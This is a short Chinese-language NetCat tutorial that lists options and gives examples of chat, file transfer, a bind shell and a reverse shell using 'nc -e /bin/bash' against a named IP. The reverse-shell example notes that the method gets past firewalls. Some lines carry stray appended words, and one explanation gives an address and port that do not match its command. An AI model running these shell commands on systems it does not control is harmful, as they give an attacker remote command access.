简介:shell
NC(全名NetCat),在网络界有"瑞士军刀"的美誉。它小巧而强悍,被设计成一个稳定的后门工具,可以直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,可以创建你须要的几乎全部类型的网络链接。bash
使用格式:网络
nc [options...] hostname port nc -l -p port [-s addr] [options...] [hostname] [port]
主要参数:工具
-4 IPv4模式
-6 IPv6模式
-b, --bluetooth 蓝牙模式 (默认为L2CAP协议)spa
-e,--exec=CMD 链接创建后执行命令设计
-l 监听入站链接调试
-n 指定数字的IP地址,不能用hostname blog
-u UDP模式ip
-t TCP模式(默认模式)io
-v 详细输出——用两个-v可获得更详细的内容
-w,--time=SECONDS 链接创建后的延时
-z 扫描模式,不会发送任何数据
-T,--ttl=TTL 自定义初始TTL
-z 将输入输出关掉——用于扫描时
-x,--transfer 文件传输模式
-X ,--rev-transfer 反向文件传输模式
-s,--address=ADDRESS 本地源ip
使用举例:
1. 交互数据传输(简单聊天):
nc能够做为简单的字符下聊天工具使用:
[本地] nc -lp 1234
[远程] nc 222.24.51.53 1234
2. 正向链接:
注:远程主机(ip:222.24.51.116)上运行nc -l -p 1234 -t -e /bin/bash监听其本地端口,一旦链接创建,就执行其/bin/bash,本地主机链接到远程主机,将已经链接的CMD重定向到1234端口的远程主机。
[远程主机] nc -l -p 1234 -t -e /bin/bash
[本地主机] nc -nvv 222.24.51.116 1234
3. 反向链接:
注:先在本地主机(拥有公网IP)开启1234 端口并监听等待远程主机链接;在远程主机上将其 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上。
[本地主机] nc -l –vv -p 1234
[远程主机] nc -t -e /bin/bash 222.24.51.53 1234
总结:以上两种链接方式中,反向链接就是反弹shell到本地,由于由远程主机发送的数据请求其本地防火墙通常不会去拦截,故反向更易链接。
4. 文件传输:
从远程主机把ap-wlan0文件传送到本地并重命名为ap-wlan文件:
[本地主机] nc -v -l -p 1234 > ./ap-wlan
[远程主机] nc -vv 222.24.51.53 < /home/linger/ap-wlan0